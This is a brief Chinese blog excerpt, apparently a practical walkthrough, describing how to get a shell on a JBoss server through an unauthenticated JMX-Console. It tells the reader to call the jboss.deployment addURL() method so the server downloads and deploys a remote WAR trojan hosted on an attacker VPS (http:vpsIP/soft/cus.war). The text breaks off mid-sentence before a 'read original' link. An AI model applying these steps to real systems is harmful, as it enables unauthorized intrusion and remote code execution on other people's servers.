【實戰】Jboss未授權訪問（JMX-Console）Getshell

都是重複造輪子，沒啥技術含量，只能說以後遇到了知道怎麼操作就行。 GO： 訪問地址：http://ip/JMX-Console 找到jboss.deployment 進入頁面後找到void addURL() 此時部署我們遠程的war木馬，部署好了以後點擊Invoke http:vpsIP地址/soft/cus.war 隨後來到URLList中查看Value值是否已經部署好，並且爲我們的遠程war木

>>阅读原文<<